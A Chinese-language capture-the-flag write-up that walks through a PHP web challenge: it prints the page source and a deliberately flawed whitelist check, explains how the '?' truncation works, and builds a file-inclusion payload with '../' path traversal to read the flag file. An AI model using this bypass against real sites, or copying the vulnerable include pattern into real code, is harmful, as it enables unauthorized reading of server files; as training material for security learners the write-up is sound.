Ctrl+U查看页面源码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html> 
发现注释处的source.php,复制到地址栏进入
获取新的一堆php代码
 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>  
访问hint.php
只有一串文字,考虑flag很有可能就在这个‘ffffllllaaaagggg’文件中

回到source.php代码中
分析这段有包含命令的代码:include $_REQUEST['file'];
if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
!empty($_REQUEST['file']:请求是否非空is_string($_REQUEST['file']:请求是否为字符串emmm::checkFile($_REQUEST['file']):能否通过checkFile()函数的判定
当三个条件同时为真时,对文件‘file’执行包含
审计checkFile函数
 
class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    } 
!isset($page) || !is_string($page):$page变量不存在或者不是字符串in_array($page, $whitelist):$page变量存在于$whitelist数组中$_page = mb_substr:截取出一段字符串并串赋值给$_pagein_array($_page, $whitelist):$_page变量存在于$whitelist数组中$_page = urldecode($page):对$page进行url解码后赋值给$_page
$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            ); 
在上述代码中,新建了一个$_page变量
截取函数:mb_substr选定$page变量为被截取的字符串
从位置下标0开始进行字符串截取,mb_strpos则是字符串查找函数
mb_strpos($page.'?','?'),代表查找$page变量中的‘?’字符并返回‘?’的位置
如果没找到‘?’,则假设‘?’在$page字符最后一位,以此保证该函数有返回值
所以整个mb_substr函数代表者:如果$page中存在‘?’则截取出‘?’之前的字符串
如果‘?’不存在,则$page整体都将被截取出来,则‘?file=******************’
星号中的所有字符串都会被截取出来赋值给$_page
解题思路
构造payload先确定一个固定的头:url/?file=(这段字符串不会赋值到page中)
使$page在$whitelist中,则必须是source.php或者hint.php才判定为真
所以这里需要直接构造为:url/?file=hint.php
接着需要再判定有没有‘?’,所以变成:url/?file=hint.php?
所以当我们构造的url进入checkFile时,$page和$_page的值就会一直等于‘hint.php?’
无论checkFile判定$page或者$_page都一定会存在于$whitelist中
且经过截取后,问号前面的值也一定还会等于‘hint.php?’
最终checkFile的返回值则为真,满足一开始flag触发的三个条件
图穷匕见,在url/?file=hint.php?后面跟上要包含的文件,此题就结束了
在地址栏中构造payload
直接访问:url?file=hint.php?ffffllllaaaagggg出现的是一个空白页
考虑该文件应该不在hint.php的同目录,所以应该是在根目录
这里唯一的方法就是多加几个‘../’,将相对位置调试到根目录
最后:url/?file=hint.php?../../../../../ffffllllaaaagggg
加了5个../后,回退到了根目录,出现flag





















